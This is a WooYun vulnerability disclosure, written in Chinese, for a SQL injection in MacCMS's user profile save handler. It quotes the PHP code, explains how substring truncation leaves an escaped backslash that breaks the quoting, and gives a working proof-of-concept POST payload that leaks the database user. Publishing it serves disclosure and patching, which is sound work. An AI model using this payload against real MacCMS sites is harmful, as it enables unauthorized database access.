当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-082973

漏洞标题:苹果cms 最新版sql注入-2

相关厂商:maccms.com

漏洞作者: 路人甲

提交时间:2014-11-13 15:51

修复时间:2015-02-11 15:52

公开时间:2015-02-11 15:52

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-13: 细节已通知厂商并且等待厂商处理中
2014-11-13: 厂商已经确认,细节仅向厂商公开
2014-11-16: 细节向第三方安全合作伙伴开放
2015-01-07: 细节向核心白帽子及相关领域专家公开
2015-01-17: 细节向普通白帽子公开
2015-01-27: 细节向实习白帽子公开
2015-02-11: 细节向公众公开

简要描述:

注入

详细说明:

在文件/inc/module/user.php中:

elseif($method=='save')
{
chklogin();
$oldpass = be("post","u_oldpass");
$password1 = be("post","u_password1");
$password2 = be("post","u_password2");
$u_qq= be("post","u_qq");
$u_email = be("post","u_email");
$u_phone = be("post","u_phone");
$u_question = be("post","u_question");
$u_answer = be("post","u_email");


if(empty($password1) || empty($u_email)){
alert ("表单信息不完整,请重填!"); exit;
}

if (strlen($u_email)>32) { $u_email = substring($u_email,32);}
if (strlen($u_qq)>16) { $u_qq = substring($u_qq,16);}
if (strlen($u_phone)>16) { $u_phone = substring($u_phone,16);}

$col = array("u_qq","u_email","u_phone","u_question","u_answer");
$val = array($u_qq,$u_email,$u_phone,$u_question,$u_answer);

if ($password1 != ""){
if ($password1 != $password2){ alert ("两次密码不同");exit; }
$password1 = md5($password1);
array_push($col,"u_password");
array_push($val,$password1);
}
$db->Update ("{pre}user",$col ,$val ,"u_id=".$user["u_id"]);
alertUrl ("修改成功!","index.php?m=user-info.html");
}


if (strlen($u_email)>32) { $u_email = substring($u_email,32);}
if (strlen($u_qq)>16) { $u_qq = substring($u_qq,16);}
if (strlen($u_phone)>16) { $u_phone = substring($u_phone,16);}
这里面存在着字符串截断的操作,利用这个截断功能,可以将转义后的内容\\ 变成\
这里执行的sql语句:
UPDATE mac_user SET u_qq='$u_qq',u_email='$u_email',u_phone='$u_phone',u_question='$u_question',u_answer='$u_answer',u_password='$u_password' WHERE u_id=1
其中$u_phone的长度为16. 这样我们设置$u_phone=123456789012345\ 转移再截断前16位,$u_phone的值是一样的。

这时候sql语句就变成
UPDATE mac_user SET u_qq='$u_qq',u_email='$u_email',u_phone='123456789012345\',u_question='$u_question',u_answer='$u_answer',u_password='$u_password' WHERE u_id=1
也就是将u_phone的值set成 123456789012345',u_question=。
接下来只要将$u_question设置成 ,injectsql#这种格式就可以实现sql注入了。
poc:
URL: maccms/index.php?m=user-save.html(需要登录)
post参数: u_password1=123456&u_password2=123456&u_qq=12345678&u_email=test%40gmail.com&u_phone=123456789012345\&u_question=,u_question=user()%23&u_answer=123456
访问后即可看到 找回密码问题 这一列已经显示了数据库当前账号

BaiduHi_2014-11-12_10-4-12.png

漏洞证明:

poc:
URL: maccms/index.php?m=user-save.html(需要登录)
post参数: u_password1=123456&u_password2=123456&u_qq=12345678&u_email=test%40gmail.com&u_phone=123456789012345\&u_question=,u_question=user()%23&u_answer=123456
访问后即可看到 找回密码问题 这一列已经显示了数据库当前账号

BaiduHi_2014-11-12_10-4-12.png

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-11-13 16:14

厂商回复:

稍后对漏洞进行修复。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-12-04 09:36 | BMa ( 普通白帽子 | Rank:1776 漏洞数:200 )

    思路真不错

  2. 2014-12-04 10:08 | xiaoL ( 普通白帽子 | Rank:361 漏洞数:67 | PKAV技术宅社区!Blog:http://www.xlixli....)

    substring的截断...真是酷